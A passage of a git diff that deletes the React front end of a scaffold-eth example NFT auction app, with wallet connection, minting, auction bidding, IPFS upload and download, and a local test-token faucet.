-  // EXTERNAL CONTRACT EXAMPLE:
-  //
-  // If you want to bring in the mainnet DAI contract it would look like:
-  const mainnetDAIContract = useExternalContractLoader(mainnetProvider, DAI_ADDRESS, DAI_ABI)
-
-  if (DEBUG) console.log("🌍 DAI contract on mainnet:", mainnetDAIContract)
-  //
-  // Then read your DAI balance like:
-  const myMainnetDAIBalance = useContractReader({ DAI: mainnetDAIContract }, "DAI", "balanceOf", ["0x34aA3F359A9D614239015126635CE7732c18fDF3"])
-  if (DEBUG) console.log("🥇 myMainnetDAIBalance:", myMainnetDAIBalance)
-
-
-  // keep track of a variable from the contract in the local React state:
-  const balance = useContractReader(readContracts, "MYERC721", "balanceOf", [address])
-  if (DEBUG) console.log("🤗 balance:", balance)
-
-  //📟 Listen for broadcast events
-  const transferEvents = useEventListener(readContracts, "MYERC721", "Transfer", localProvider, 1);
-  if (DEBUG) console.log("📟 Transfer events:", transferEvents)
-
-
-  const [modalVisible, setModalVisible] = useState(false);
-  const [auctionDetails, setAuctionDetails] = useState({ price: "", duration: "" });
-  const [auctionToken, setAuctionToken] = useState("");
-
-  //
-  // 🧠 This effect will update yourCollectibles by polling when your balance changes
-  //
-  const [yourCollectibles, setYourCollectibles] = useState(assetsInitAuctionStat)
-
-  
-
-  // useEffect(()=>{
-  //   const updateYourCollectibles = async () => {
-  //     let collectibleUpdate = []
-  //     for(let tokenIndex=0;tokenIndex<balance;tokenIndex++){
-  //       try{
-  //         console.log("GEtting token index",tokenIndex)
-  //         const tokenId = await readContracts.YourCollectible.tokenOfOwnerByIndex(address, tokenIndex)
-  //         console.log("tokenId",tokenId)
-  //         const tokenURI = await readContracts.YourCollectible.tokenURI(tokenId)
-  //         console.log("tokenURI",tokenURI)
-  //
-  //         const ipfsHash =  tokenURI.replace("https://ipfs.io/ipfs/","")
-  //         console.log("ipfsHash",ipfsHash)
-  //
-  //         const jsonManifestBuffer = await getFromIPFS(ipfsHash)
-  //
-  //         try{
-  //           const jsonManifest = JSON.parse(jsonManifestBuffer.toString())
-  //           // console.log("jsonManifest",jsonManifest)
-  //           collectibleUpdate.push({ id:tokenId, uri:tokenURI, owner: address, ...jsonManifest })
-  //         }catch(e){console.log(e)}
-  //
-  //       }catch(e){console.log(e)}
-  //     }
-  //     setYourCollectibles(collectibleUpdate)
-  //   }
-  //   updateYourCollectibles()
-  // },[ address, yourBalance ])
-
-  if (window.ethereum) {
-    WalletCheck.walletExist = true
-  }
-
-  useEffect(() => {
-    if (readContracts && readContracts.YourCollectible) updateYourCollectibles()
-  }, [assets, readContracts, transferEvents]);
-
-  /*
-  const addressFromENS = useResolveName(mainnetProvider, "austingriffith.eth");
-  console.log("🏷 Resolved austingriffith.eth as:",addressFromENS)
-  */
-
-  //
-  // 🧫 DEBUG 👨🏻‍🔬
-  //
-  useEffect(() => {
-    if (DEBUG && mainnetProvider && address && selectedChainId && yourLocalBalance && readContracts && writeContracts && mainnetDAIContract) {
-      console.log("_____________________________________ 🏗 scaffold-eth _____________________________________")
-      console.log("🌎 mainnetProvider", mainnetProvider)
-      console.log("🏠 localChainId", localChainId)
-      console.log("👩‍💼 selected address:", address)
-      console.log("🕵🏻‍♂️ selectedChainId:", selectedChainId)
-      console.log("💵 yourLocalBalance", yourLocalBalance ? yourLocalBalance : "...")
-      console.log("📝 readContracts", readContracts)
-      console.log("🌍 DAI contract on mainnet:", mainnetDAIContract)
-      console.log("🔐 writeContracts", writeContracts)
-    }
-  }, [mainnetProvider, address, selectedChainId, yourLocalBalance, readContracts, writeContracts, mainnetDAIContract])
-
-
-  let networkDisplay = ""
-  if (localChainId && selectedChainId && localChainId != selectedChainId) {
-    networkDisplay = (
-      <div style={{ zIndex: 2, position: 'absolute', right: 0, top: 60, padding: 16 }}>
-        <Alert
-          message={"⚠️ Wrong Network"}
-          description={(
-            <div>
-              You have <b>{NETWORK(selectedChainId).name}</b> selected and you need to be on <b>{NETWORK(localChainId).name}</b>.
-            </div>
-          )}
-          type="error"
-          closable={false}
-        />
-      </div>
-    )
-  } else {
-    networkDisplay = (
-      <div style={{ zIndex: -1, position: 'absolute', right: 154, top: 28, padding: 16, color: targetNetwork.color }}>
-        {targetNetwork.name}
-      </div>
-    )
-  }
-
-  const loadWeb3Modal = useCallback(async () => {
-    const provider = await web3Modal.connect();
-    setInjectedProvider(new Web3Provider(provider));
-  }, [setInjectedProvider]);
-
-  useEffect(() => {
-    if (web3Modal.cachedProvider) {
-      loadWeb3Modal();
-    }
-  }, [loadWeb3Modal]);
-
-  const [route, setRoute] = useState();
-  useEffect(() => {
-    setRoute(window.location.pathname)
-  }, [setRoute]);
-
-  let faucetHint = ""
-  const faucetAvailable = localProvider && localProvider.connection && targetNetwork.name == "localhost"
-
-
-  const grabFounds = async () => {
-    let currentSupply = parseInt(await readContracts.SimpleToken.balanceOf(address))
-    console.log("Total balance of erc20 with current address is", currentSupply)
-    if (currentSupply < 1000) {
-      await tx(readContracts.SimpleToken.mint(address, 1000))
-    }
-    currentSupply = await readContracts.SimpleToken.balanceOf(address)
-    console.log("Total balance of erc20 with current address is", currentSupply)
-  }
-
-  console.log("For grabFounds")
-  console.log("Your local Balance")
-  console.log(yourLocalBalance)
-    faucetHint = (
-      <div style={{padding:16}}>
-        <Button type={"primary"} onClick={()=>{
-          grabFounds()
-        }}>
-          💰 Grab funds from the faucet when balance less than 1000 ⛽️
-        </Button>
-      </div>
-    )
-
-
-
-  const [ yourJSON, setYourJSON ] = useState( STARTING_JSON );
-  const [ sending, setSending ] = useState()
-  const [ ipfsHash, setIpfsHash ] = useState()
-  const [ ipfsDownHash, setIpfsDownHash ] = useState()
-
-  const [ downloading, setDownloading ] = useState()
-  const [ ipfsContent, setIpfsContent ] = useState()
-  const [yourBid, setYourBid] = useState({});
-
-  const [ transferToAddresses, setTransferToAddresses ] = useState({})
-
-  const [loadedAssets, setLoadedAssets] = useState()
-
-  const [url2TokenID, setUrl2TokenID] = useState({})
-  console.log(url2TokenID)
-
-  const [auctionType, setAuctionType] = useState(1);
-  
-  const updateYourCollectibles = async () => {
-    let assetUpdate = []
-    for(let a in assets){
-      try {
-        const forSale = yourCollectibles[a].forSale
-        let owner
-        let auctionInfo = {"seller": "",
-          "price":0,
-          "duration":0,
-          "tokenAddress":0,
-          "maxBid":0,
-          "maxBidUser":0,
-          "isActive":false,
-          "bidAmounts":[],
-          "users": []
-        }
-        if(!forSale){
-          const tokenId = url2TokenID[a]
-          owner = await readContracts.MYERC721.ownerOf(tokenId)
-          const nftAddress = readContracts.MYERC721.address;
-          console.log("yourCollectibles[a]")
-          console.log(yourCollectibles[a])
-          if (yourCollectibles[a].forAuction) {
-            if (yourCollectibles[a].assetAuctionType == 1) {
-              auctionInfo = await readContracts.AuctionUnfixedPrice.getTokenAuctionDetails(nftAddress, tokenId);
-            } else {
-              auctionInfo = await readContracts.AuctionFixedPrice.getTokenAuctionDetails(nftAddress, tokenId);
-            }
-          }
-          console.log("========== forSale is false")
-          console.log(auctionInfo)
-        }
-        assetUpdate.push({id:a,...assets[a],forSale:forSale,owner:owner, auctionInfo})
-      }catch(e){console.log(e)}
-    }
-    setLoadedAssets(assetUpdate)
-  }
-
-  useEffect(()=>{
-    if(readContracts && yourCollectibles) updateYourCollectibles()
-  }, [ assets, readContracts, transferEvents, yourCollectibles]);
-
-  const startAuction = (tokenUri) => {
-    return async () => {
-      setAuctionToken(tokenUri);
-      setModalVisible(true);
-      setAuctionType(1);
-    }
-  }
-
-  const placeBid = async (tokenUri, ethAmount) => {
-    const tokenId = await readContracts.YourCollectible.uriToTokenId(utils.id(tokenUri));
-    const nftAddress = readContracts.YourCollectible.address;
-    await tx( writeContracts.Auction.bid(nftAddress, tokenId, {
-      value: parseEther(ethAmount.toString())
-    }));
-    updateYourCollectibles();
-  }
-
-  const completeAuction = (tokenUri) => {
-    return async () => {
-      const tokenId = await readContracts.YourCollectible.uriToTokenId(utils.id(tokenUri));
-      const nftAddress = readContracts.YourCollectible.address;
-      await tx(writeContracts.Auction.executeSale(nftAddress, tokenId));
-      updateYourCollectibles();
-    }
-  }
-
-  const cancelAuction = (tokenUri) => {
-    return async () => {
-      const tokenId = await readContracts.YourCollectible.uriToTokenId(utils.id(tokenUri));
-      const nftAddress = readContracts.YourCollectible.address;
-      await tx(writeContracts.Auction.cancelAuction(nftAddress, tokenId));
-      updateYourCollectibles();
-    }
-  }
-
-  const mintItem = async (tokenUri) => {
-    await readContracts.MYERC721.mintWithTokenURI(address, tokenUri)
-    const tokenId = (await readContracts.MYERC721.totalSupply()) - 1
-
-    // get Token URl 
-    let tokenURl = await readContracts.MYERC721.tokenURI(tokenId)
-    console.log("In Mint , tokenURL is ",tokenURl)
-
-    let currentSupply = parseInt(await readContracts.SimpleToken.balanceOf(address))
-    url2TokenID[tokenUri] = tokenId
-    assetsInitAuctionStat[tokenUri].forSale = false
-    const ethBalance = await localProvider.getBalance(address);
-    if (ethBalance <= 0.3) {
-      const signer = localProvider.getSigner();
-      let result = await signer.sendTransaction({
-        to: address,
-        value: parseEther("0.3"),
-        gasPrice: parseUnits("4.1", "gwei"),
-        gasLimit: hexlify(120000)
-      });
-      console.log("Trans ETH result: ",result)
-    }
-    setYourCollectibles(assetsInitAuctionStat)
-    updateYourCollectibles();
-  }
-
-  let galleryList = []
-  for(let a in (loadedAssets ? loadedAssets.slice(0, 6) : [])){
-    // console.log("loadedAssets",a,loadedAssets[a])
-
-    let cardActions = []
-    let auctionDetails = [];
-    if(loadedAssets[a].forSale){
-      cardActions.push(
-        <div>
-          <Button onClick={()=>{
-            mintItem(loadedAssets[a].id)
-          }}>
-            Mint
-          </Button>
-        </div>
-      )
-      auctionDetails.push(null)
-    }else{
-      const { auctionInfo } = loadedAssets[a];
-      const deadline = new Date(auctionInfo.duration * 1000);
-      const isEnded = deadline <= new Date();
-
-      console.log("======auctionInfo")
-      console.log(auctionInfo)
-      cardActions.push(
-        <div>
-          <div>
-          owned by: <Address
-            address={loadedAssets[a].owner}
-            ensProvider={mainnetProvider}
-            blockExplorer={blockExplorer}
-            minimized={true}
-          />
-          </div>
-          {!loadedAssets[a].auctionInfo.isActive && address === loadedAssets[a].owner && <><Button style={{ marginBottom: "10px" }} onClick={startAuction(loadedAssets[a].id)} disabled={address !== loadedAssets[a].owner}>Start auction</Button><br/></>}
-          {loadedAssets[a].auctionInfo.isActive && address === loadedAssets[a].auctionInfo.seller && <><Button style={{ marginBottom: "10px" }} onClick={completeAuction(loadedAssets[a].id)}>Complete auction</Button><br/></>}
-          {loadedAssets[a].auctionInfo.isActive && address === loadedAssets[a].auctionInfo.seller && <><Button style={{ marginBottom: "10px" }} onClick={cancelAuction(loadedAssets[a].id)}>Cancel auction</Button><br/></>}
-        </div>
-      )
-
-      console.log("auction price is now ",loadedAssets[a])
-      auctionDetails.push(auctionInfo.isActive ? (
-          <div style={{ marginTop: "20px" }}>
-          <p style={{ fontWeight: "bold" }}>{ assetsInitAuctionStat[a] == 1 ? "Unfixed Price " : "Fixed Price " }Auction is in progress</p>
-            <p style={{ margin: 0, marginBottom: "2px"}}>Minimal price is {(auctionInfo.price).toString()} </p>
-            <p style={{ marginTop: 0 }}>{!isEnded ? `Auction ends at ${format(deadline, "MMMM dd, hh:mm:ss")}` : 'Auction has already ended'}</p>
-            <div>
-              {auctionInfo.maxBidUser === constants.AddressZero ? "Highest bid was not made yet" : <div>Highest bid by: <Address
-                  address={auctionInfo.maxBidUser}
-                  ensProvider={mainnetProvider}
-                  blockExplorer={blockExplorer}
-                  minimized={true}
-              /><p>{utils.formatEther(auctionInfo.maxBid)} ETH</p></div>}
-            </div>
-
-            <div>
-            <div style={{display: "flex", alignItems: "center", marginTop: "20px"}}>
-              <p style={{margin:0, marginRight: "15px"}}>Your bid in ETH: </p>
-              <InputNumber placeholder="0.1" value={yourBid[loadedAssets[a].id]} onChange={newBid => setYourBid({...yourBid, [loadedAssets[a].id]: newBid})} style={{ flexGrow: 1 }}/>
-            </div>
-              <Button style={{marginTop: "7px"}} onClick={() => placeBid(loadedAssets[a].id, yourBid[loadedAssets[a].id])} disabled={!yourBid[loadedAssets[a].id] || isEnded}>Place a bid</Button>
-            </div>
-
-          </div>
-      ) : null);
-    }
-
-    galleryList.push(
-        <>
-      <Card style={{width:300}} key={loadedAssets[a].name}
-        actions={cardActions}
-        title={(
-          <div>
-            {loadedAssets[a].name} <a style={{cursor:"pointer",opacity:0.33}} href={loadedAssets[a].external_url} target="_blank"><LinkOutlined /></a>
-          </div>
-        )}
-      >
-        <img style={{maxWidth:130}} src={loadedAssets[a].image}/>
-        <div style={{opacity:0.77}}>
-          {loadedAssets[a].description}
-        </div>
-        {auctionDetails}
-      </Card>
-          </>
-    )
-  }
-
-
-  const handleOk = async () => {
-    setModalVisible(false);
-    const { price, duration } = auctionDetails;
-    const tokenId = url2TokenID[auctionToken];
-    const nftAddress = readContracts.MYERC721.address
-    const erc20Address = readContracts.SimpleToken.address
-    let tokenURL = await readContracts.MYERC721.tokenURI(tokenId)
-    tokenURL = tokenURL.substring(9)
-    console.log("Token URL is ",tokenURL)
-
-    let auctionAddress
-    let writeAuction
-    let readAuction
-
-    if (auctionType == 1) {
-      auctionAddress = readContracts.AuctionUnfixedPrice.address
-      writeAuction = writeContracts.AuctionUnfixedPrice
-      readAuction = readContracts.AuctionUnfixedPrice
-      console.log()
-      assetsInitAuctionStat[tokenURL].assetAuctionType = 1
-    } else {
-      auctionAddress = readContracts.AuctionFixedPrice.address
-      writeAuction = writeContracts.AuctionFixedPrice
-      readAuction = readContracts.AuctionFixedPrice
-      assetsInitAuctionStat[tokenURL].assetAuctionType = 2
-    }
-
-    let approveTransaction = await writeContracts.MYERC721.approve(auctionAddress, tokenId);
-    console.log("==========after 721 approve")
-
-    const erc20Price = parseInt(price.toString());
-    console.log("ERC20 Price for Auction is",erc20Price)
-    const blockDuration = Math.floor(new Date().getTime() / 1000) + duration;
-
-    await tx(writeAuction.createTokenAuction(nftAddress, tokenId, erc20Address, erc20Price, blockDuration));
-
-    //Get Token URL 
-    assetsInitAuctionStat[tokenURL].forAuction = true
-    setYourCollectibles(assetsInitAuctionStat)
-  }
-
-  const handleCancel = () => {
-    setModalVisible(false);
-  }
-
-  const handleAuctionType = e => {
-    setAuctionType(e.target.value);
-  }
-
-  window.ethereum && window.ethereum.on('accountsChanged', accounts => {
-    web3Modal.cachedProvider &&
-    loadWeb3Modal();
-  })
-
-  return ( 
-    <div className="App">
-      {!WalletCheck.walletExist && <NoWalletDetected />}
-
-      {WalletCheck.walletExist && <div>
-        <Modal title="Start auction" visible={modalVisible} onOk={handleOk} onCancel={handleCancel} okButtonProps={{ disabled: !auctionDetails.price || !auctionDetails.duration }} okText="Start">
-          <div style={{ display: "flex", alignItems: "center" }}>
-            <p style={{ margin: 0, marginRight: "15px" }}>ERC20 Price (minimal bid): </p>
-            <InputNumber placeholder="0.1" value={auctionDetails.price} onChange={newPrice => setAuctionDetails({ ...auctionDetails, price: newPrice })} style={{ flexGrow: 1 }} />
-          </div>
-          <br />
-          <div style={{ display: "flex", alignItems: "center" }}>
-            <p style={{ margin: 0, marginRight: "15px" }}>Duration in seconds: </p>
-            <InputNumber placeholder="3600" value={auctionDetails.duration} onChange={newDuration => setAuctionDetails({ ...auctionDetails, duration: newDuration })} style={{ flexGrow: 1 }} />
-          </div>
-          <br />
-          <div style={{ display: "flex", alignItems: "center" }}>
-            <Radio.Group onChange={handleAuctionType} value={auctionType}>
-              <Radio value={1}>Unfixed Price Auction</Radio>
-              <Radio value={2}>Fixed Price Auction</Radio>
-            </Radio.Group>
-          </div>
-        </Modal>
-
-        {/* ✏️ Edit the header and change the title to your project name */}
-        <Header />
-        {networkDisplay}
-
-        <BrowserRouter>
-
-          <Menu style={{ textAlign: "center", alignItems: "center" }} selectedKeys="/" mode="horizontal">
-            <Menu.Item key="/">
-              <Link onClick={() => { setRoute("/") }} to="/">Gallery</Link>
-            </Menu.Item>
-            <Menu.Item key="/yourcollectibles">
-              <Link onClick={() => { setRoute("/yourcollectibles") }} to="/yourcollectibles">YourCollectibles</Link>
-            </Menu.Item>
-            <Menu.Item key="/transfers">
-              <Link onClick={() => { setRoute("/transfers") }} to="/transfers">Transfers</Link>
-            </Menu.Item>
-            <Menu.Item key="/ipfsup">
-              <Link onClick={() => { setRoute("/ipfsup") }} to="/ipfsup">IPFS Upload</Link>
-            </Menu.Item>
-            <Menu.Item key="/ipfsdown">
-              <Link onClick={() => { setRoute("/ipfsdown") }} to="/ipfsdown">IPFS Download</Link>
-            </Menu.Item>
-            <Menu.Item key="/debugcontracts">
-              <Link onClick={() => { setRoute("/debugcontracts") }} to="/debugcontracts">Debug Contracts</Link>
-            </Menu.Item>
-          </Menu>
-
-          <Switch>
-            <Route exact path="/">
-              {/*
-                🎛 this scaffolding is full of commonly used components
-                this <Contract/> component will automatically parse your ABI
-                and give you a form to interact with it locally
-            */}
-
-              <div style={{ maxWidth: 1024, margin: "auto", marginTop: 32, paddingBottom: 56 }}>
-                <Button disabled={galleryList.length === 0} onClick={updateYourCollectibles} style={{ marginBottom: "25px" }}>Update collectibles</Button>
-
-                <StackGrid
-                  columnWidth={300}
-                  gutterWidth={16}
-                  gutterHeight={16}
-                >
-                  {galleryList}
-                </StackGrid>
-              </div>
-
-            </Route>
-
-            <Route path="/yourcollectibles">
-              <div style={{ width: 640, margin: "auto", marginTop: 32, paddingBottom: 32 }}>
-                <List
-                  bordered
-                  dataSource={yourCollectibles}
-                  renderItem={(item) => {
-                    const id = item.id.toNumber()
-                    return (
-                      <List.Item key={id + "_" + item.uri + "_" + item.owner}>
-                        <Card title={(
-                          <div>
-                            <span style={{ fontSize: 16, marginRight: 8 }}>#{id}</span> {item.name}
-                          </div>
-                        )}>
-                          <div><img src={item.image} style={{ maxWidth: 150 }} /></div>
-                          <div>{item.description}</div>
-                        </Card>
-
-                        <div>
-                          owner: <Address
-                            address={item.owner}
-                            ensProvider={mainnetProvider}
-                            blockExplorer={blockExplorer}
-                            fontSize={16}
-                          />
-                          <AddressInput
-                            ensProvider={mainnetProvider}
-                            placeholder="transfer to address"
-                            value={transferToAddresses[id]}
-                            onChange={(newValue) => {
-                              let update = {}
-                              update[id] = newValue
-                              setTransferToAddresses({ ...transferToAddresses, ...update })
-                            }}
-                          />
-                          <Button onClick={() => {
-                            console.log("writeContracts", writeContracts)
-                            tx(writeContracts.YourCollectible.transferFrom(address, transferToAddresses[id], id))
-                          }}>
-                            Transfer
-                        </Button>
-                        </div>
-                      </List.Item>
-                    )
-                  }}
-                />
-              </div>
-            </Route>
-
-            <Route path="/transfers">
-              <div style={{ width: 600, margin: "auto", marginTop: 32, paddingBottom: 32 }}>
-                <List
-                  bordered
-                  dataSource={transferEvents}
-                  renderItem={(item) => {
-                    return (
-                      <List.Item key={item[0] + "_" + item[1] + "_" + item.blockNumber + "_" + item[2].toNumber()}>
-                        <span style={{ fontSize: 16, marginRight: 8 }}>#{item[2].toNumber()}</span>
-                        <Address
-                          address={item[0]}
-                          ensProvider={mainnetProvider}
-                          fontSize={16}
-                        />
-                        <Address
-                          address={item[1]}
-                          ensProvider={mainnetProvider}
-                          fontSize={16}
-                        />
-                      </List.Item>
-                    )
-                  }}
-                />
-              </div>
-            </Route>
-
-            <Route path="/ipfsup">
-              <div style={{ paddingTop: 32, width: 740, margin: "auto", textAlign: "left" }}>
-                <ReactJson
-                  style={{ padding: 8 }}
-                  src={yourJSON}
-                  theme={"pop"}
-                  enableClipboard={false}
-                  onEdit={(edit, a) => {
-                    setYourJSON(edit.updated_src)
-                  }}
-                  onAdd={(add, a) => {
-                    setYourJSON(add.updated_src)
-                  }}
-                  onDelete={(del, a) => {
-                    setYourJSON(del.updated_src)
-                  }}
-                />
-              </div>
-
-              <Button style={{ margin: 8 }} loading={sending} size="large" shape="round" type="primary" onClick={async () => {
-                console.log("UPLOADING...", yourJSON)
-                setSending(true)
-                setIpfsHash()
-                const result = await ipfs.add(JSON.stringify(yourJSON))//addToIPFS(JSON.stringify(yourJSON))
-                if (result && result.path) {
-                  setIpfsHash(result.path)
-                }
-                setSending(false)
-                console.log("RESULT:", result)
-              }}>Upload to IPFS</Button>
-
-              <div style={{ padding: 16, paddingBottom: 150 }}>
-                {ipfsHash}
-              </div>
-
-            </Route>
-            <Route path="/ipfsdown">
-              <div style={{ paddingTop: 32, width: 740, margin: "auto" }}>
-                <Input
-                  value={ipfsDownHash}
-                  placeHolder={"IPFS hash (like QmadqNw8zkdrrwdtPFK1pLi8PPxmkQ4pDJXY8ozHtz6tZq)"}
-                  onChange={(e) => {
-                    setIpfsDownHash(e.target.value)
-                  }}
-                />
-              </div>
-              <Button style={{ margin: 8 }} loading={sending} size="large" shape="round" type="primary" onClick={async () => {
-                console.log("DOWNLOADING...", ipfsDownHash)
-                setDownloading(true)
-                setIpfsContent()
-                const result = await getFromIPFS(ipfsDownHash)//addToIPFS(JSON.stringify(yourJSON))
-                if (result && result.toString) {
-                  setIpfsContent(result.toString())
-                }
-                setDownloading(false)
-              }}>Download from IPFS</Button>
-
-              <pre style={{ padding: 16, width: 500, margin: "auto", paddingBottom: 150 }}>
-                {ipfsContent}
-              </pre>
-            </Route>
-            <Route path="/debugcontracts">
-              <Contract
-                name="YourCollectible"
-                signer={userProvider.getSigner()}
-                provider={localProvider}
-                address={address}
-                blockExplorer={blockExplorer}
-              />
-            </Route>
-          </Switch>
-        </BrowserRouter>
-
-        <ThemeSwitch />
-
-
-        {/* 👨‍💼 Your account is in the top right with a wallet at connect options */}
-        <div style={{ position: "fixed", textAlign: "right", right: 0, top: 0, padding: 10 }}>
-          <Account
-            address={address}
-            localProvider={localProvider}
-            userProvider={userProvider}
-            mainnetProvider={mainnetProvider}
-            price={yourLocalBalance}
-            web3Modal={web3Modal}
-            loadWeb3Modal={loadWeb3Modal}
-            logoutOfWeb3Modal={logoutOfWeb3Modal}
-            blockExplorer={blockExplorer}
-          />
-          {faucetHint}
-        </div>
-
-        {/* 🗺 Extra UI like gas price, eth price, faucet, and support: */}
-        <div style={{ position: "fixed", textAlign: "left", left: 0, bottom: 20, padding: 10 }}>
-          <Row align="middle" gutter={[4, 4]}>
-            <Col span={8}>
-              <Ramp price={price} address={address} networks={NETWORKS} />
-            </Col>
-
-            <Col span={8} style={{ textAlign: "center", opacity: 0.8 }}>
-              <GasGauge gasPrice={gasPrice} />
-            </Col>
-            <Col span={8} style={{ textAlign: "center", opacity: 1 }}>
-              <Button
-                onClick={() => {
-                  window.open("https://t.me/joinchat/KByvmRe5wkR-8F_zz6AjpA");
-                }}
-                size="large"
-                shape="round"
-              >
-                <span style={{ marginRight: 8 }} role="img" aria-label="support">
-                  💬
-               </span>
-               Support
-             </Button>
-            </Col>
-          </Row>
-
-          <Row align="middle" gutter={[4, 4]}>
-            <Col span={24}>
-              {
-                /*  if the local provider has a signer, let's show the faucet:  */
-                faucetAvailable ? (
-                  <Faucet localProvider={localProvider} price={price} ensProvider={mainnetProvider} />
-                ) : (
-                    ""
-                  )
-              }
-            </Col>
-          </Row>
-        </div>
-      </div>}
-    </div>
-  );
-}
-
-
-/*
-  Web3 modal helps us "connect" external wallets:
-*/
-const web3Modal = new Web3Modal({
-  // network: "mainnet", // optional
-  cacheProvider: true, // optional
-  providerOptions: {
-    walletconnect: {
-      package: WalletConnectProvider, // required
-      options: {
-        infuraId: INFURA_ID,
-      },
-    },
-  },
-});
-
-const logoutOfWeb3Modal = async () => {
-  await web3Modal.clearCachedProvider();
-  setTimeout(() => {
-    window.location.reload();
-  }, 1);
-};
-
- window.ethereum && window.ethereum.on('chainChanged', chainId => {
-  web3Modal.cachedProvider &&
-  setTimeout(() => {
-    window.location.reload();
-  }, 1);
-})
-
-
-export default App;
diff --git a/Example16-hardhat-auction-exchange/react-app/src/App.jsx b/Example16-hardhat-auction-exchange/react-app/src/App.jsx
deleted file mode 100644
index c254b14a9..000000000
--- a/Example16-hardhat-auction-exchange/react-app/src/App.jsx
+++ /dev/null
@@ -1,1021 +0,0 @@
-import React, { useCallback, useEffect, useState } from "react";
-import { BrowserRouter, Switch, Route, Link } from "react-router-dom";
-import "antd/dist/antd.css";
-import {  LinkOutlined } from "@ant-design/icons"
-import {  StaticJsonRpcProvider, JsonRpcProvider, Web3Provider } from "@ethersproject/providers";
-import "./App.css";
-import {Row, Col, Button, Menu, Alert, Input, List, Card, Switch as SwitchD, Modal, InputNumber, Tooltip, Radio} from "antd";
-import Web3Modal from "web3modal";
-import WalletConnectProvider from "@walletconnect/web3-provider";
-import { useUserAddress } from "eth-hooks";
-import { format } from "date-fns";
-import { Header, Account, Faucet, Ramp, Contract, GasGauge, Address, AddressInput, ConnectWallet,ThemeSwitch,NoWalletDetected,NetworkErrorMessage, Loading } from "./components";
-import { useExchangePrice, useGasPrice, useUserProvider, useContractLoader, useContractReader, useEventListener, useBalance, useExternalContractLoader, useOnBlock } from "./hooks";
-import { Transactor } from "./helpers";
-import { formatEther, parseEther } from "@ethersproject/units";
-import { utils, constants } from "ethers";
-import { useThemeSwitcher } from "react-css-theme-switcher";
-import { INFURA_ID, DAI_ADDRESS, DAI_ABI, NETWORK, NETWORKS } from "./constants";
-import { ethers } from "ethers";
-import { parseUnits } from "@ethersproject/units";
-import { hexlify } from "@ethersproject/bytes";
-import StackGrid from "react-stack-grid";
-import ReactJson from 'react-json-view'
-import assets from './assets.js'
-import assetsAuctionStat from './assetsAuctionStat.js'
-
-const { BufferList } = require('bl')
-// https://www.npmjs.com/package/ipfs-http-client
-const ipfsAPI = require('ipfs-http-client');
-const ipfs = ipfsAPI({host: 'localhost', port: '5001', protocol: 'http' })
-
-console.log("📦 Assets:========== ", assets)
-
-const assetsInitAuctionStat = {}
-  for(let a in assetsAuctionStat){
-    assetsInitAuctionStat[assetsAuctionStat[a]] = {}
-    assetsInitAuctionStat[assetsAuctionStat[a]].forSale = true
-    assetsInitAuctionStat[assetsAuctionStat[a]].forAuction = false
-    assetsInitAuctionStat[assetsAuctionStat[a]].assetAuctionType = "1"
-  }
-
-const allUserCollections = {}
-const usersBid = {}
-let networkError;
-
-
-console.log("Hello , I'm  assetsInitAuctionStat")
-/*
-    Welcome to 🏗 scaffold-eth !
-
-    Code:
-    https://github.com/austintgriffith/scaffold-eth
-
-    Support:
-    https://t.me/joinchat/KByvmRe5wkR-8F_zz6AjpA
-    or DM @austingriffith on twitter or telegram
-
-    You should get your own Infura.io ID and put it in `constants.js`
-    (this is your connection to the main Ethereum network for ENS etc.)
-
-
-    🌏 EXTERNAL CONTRACTS:
-    You can also bring in contract artifacts in `constants.js`
-    (and then use the `useExternalContractLoader()` hook!)
-*/
-
-
-/// 📡 What chain are your contracts deployed to?
-const targetNetwork = NETWORKS['localhost']; // <------- select your target frontend network (localhost, rinkeby, xdai, mainnet)
-
-// 😬 Sorry for all the console logging
-const DEBUG = true
-
-//EXAMPLE STARTING JSON:
-const STARTING_JSON = {
-  "description": "It's actually a bison?",
-  "external_url": "https://austingriffith.com/portfolio/paintings/",// <-- this can link to a page for the specific file too
-  "image": "https://austingriffith.com/images/paintings/buffalo.jpg",
-  "name": "Buffalo",
-  "attributes": [
-     {
-       "trait_type": "BackgroundColor",
-       "value": "green"
-     },
-     {
-       "trait_type": "Eyes",
-       "value": "googly"
-     }
-  ]
-}
-
-
-const LOCALHOST_NETWORK_ID = '31337';
-
-const WalletCheck = {
-  walletExist: false,
-  approvePermission: {},
-  connecting: false
-}
-
-
-//helper function to "Get" from IPFS
-// you usually go content.toString() after this...
-const getFromIPFS = async hashToGet => {
-  for await (const file of ipfs.get(hashToGet)) {
-    console.log(file.path)
-    if (!file.content) continue;
-    const content = new BufferList()
-    for await (const chunk of file.content) {
-      content.append(chunk)
-    }
-    console.log(content)
-    return content
-  }
-}
-
-// 🛰 providers
-if(DEBUG) console.log("📡 Connecting to Mainnet Ethereum");
-// const mainnetProvider = getDefaultProvider("mainnet", { infura: INFURA_ID, etherscan: ETHERSCAN_KEY, quorum: 1 });
-// const mainnetProvider = new InfuraProvider("mainnet",INFURA_ID);
-//
-// attempt to connect to our own scaffold eth rpc and if that fails fall back to infura...
-// Using StaticJsonRpcProvider as the chainId won't change see https://github.com/ethers-io/ethers.js/issues/901
-const scaffoldEthProvider = new StaticJsonRpcProvider("https://rpc.scaffoldeth.io:48544")
-const mainnetInfura = new StaticJsonRpcProvider("https://mainnet.infura.io/v3/" + INFURA_ID)
-// ( ⚠️ Getting "failed to meet quorum" errors? Check your INFURA_I
-
-// 🏠 Your local provider is usually pointed at your local blockchain
-const localProviderUrl = targetNetwork.rpcUrl;
-// as you deploy to other networks you can set REACT_APP_PROVIDER=https://dai.poa.network in packages/react-app/.env
-const localProviderUrlFromEnv = process.env.REACT_APP_PROVIDER ? process.env.REACT_APP_PROVIDER : localProviderUrl;
-if(DEBUG) console.log("🏠 Connecting to provider:", localProviderUrlFromEnv);
-const localProvider = new StaticJsonRpcProvider(localProviderUrl);
-
-
-// 🔭 block explorer URL
-const blockExplorer = targetNetwork.blockExplorer;
-
-function App (props) {
-
-  if (window.ethereum) {
-    WalletCheck.walletExist = true
-  }
-
-  let [ permissionApproved,setPermissionApproved] = useState(false);
-
-  const mainnetProvider = (scaffoldEthProvider && scaffoldEthProvider._network) ? scaffoldEthProvider : mainnetInfura
-
-  //const _provider = new ethers.providers.Web3Provider(window.ethereum)
-  const [injectedProvider, setInjectedProvider] = useState();
-
-  /* 💵 This hook will get the price of ETH from 🦄 Uniswap: */
-  const price = useExchangePrice(targetNetwork, mainnetProvider);
-
-  /* 🔥 This hook will get the price of Gas from ⛽️ EtherGasStation */
-  const gasPrice = useGasPrice(targetNetwork, "fast");
